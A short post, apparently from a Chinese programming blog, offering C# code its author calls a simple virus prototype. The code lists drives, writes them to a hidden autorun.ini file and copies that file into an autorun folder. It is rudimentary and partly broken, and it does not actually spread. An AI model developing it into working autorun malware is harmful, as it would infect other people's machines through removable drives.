C#病毒代码简单雏形(原创)

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace wacopyandpaste
{
    public partial class checkUdsk : Form
    {
        public checkUdsk()
        {
            InitializeComponent();
           
            getDskMsg();
        }
        public void getDskMsg()
        {
            StringBuilder sb = new StringBuilder();
            DriveInfo[] allDrivers = DriveInfo.GetDrives();
            foreach (DriveInfo di in allDrivers)
            {
                sb.Append(di.Name);
                sb.Append("|");

                if (di.DriveType == DriveType.CDRom)
                {
                    sb.Append("CDRom");
                    sb.Append("&");
                }

                if (di.DriveType == DriveType.Removable)
                {
                    sb.Append("UDisk");
                    sb.Append("&");
                }

                if (di.DriveType == DriveType.Ram)
                {
                    sb.Append("Ram");
                    sb.Append("&");
                }

                if (di.DriveType == DriveType.Fixed)
                {
                    sb.Append("SystemDisk");
                    sb.Append("&");
                }

                if (di.DriveType == DriveType.NoRootDirectory)
                {
                    sb.Append("NoRootDirectory");
                    sb.Append("&");
                }

                writeMsg(sb.ToString());
               
            } 
        }
        public void writeMsg(string strmsg)
        {
            string currentPath = Application.StartupPath;

            FileStream fs = new FileStream(currentPath + "\\autorun.ini", FileMode.OpenOrCreate, FileAccess.Write);
            StreamWriter sw = new StreamWriter(fs);
            sw.Flush();

            sw.BaseStream.Seek(0, SeekOrigin.Begin);
            sw.Write(strmsg);
            sw.Flush();
            sw.Close();
            File.SetAttributes(currentPath + "\\autorun.ini",FileAttributes.Hidden);
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string filename = Application.StartupPath + "\\autorun.ini";
            System.Diagnostics.Process.Start(filename);

            copyToOther(filename);
        }

        public void copyToOther(string filename)
        {
            string filePath = Application.StartupPath + "\\autorun";
            if (Directory.Exists(filePath))
            {
                Directory.Delete(filePath, true);
            }
 
            //创建目录
            Directory.CreateDirectory(filePath);
 
            //复制文件
            File.Copy(filename, filePath + "\\autorun.ini");

        }
    }
}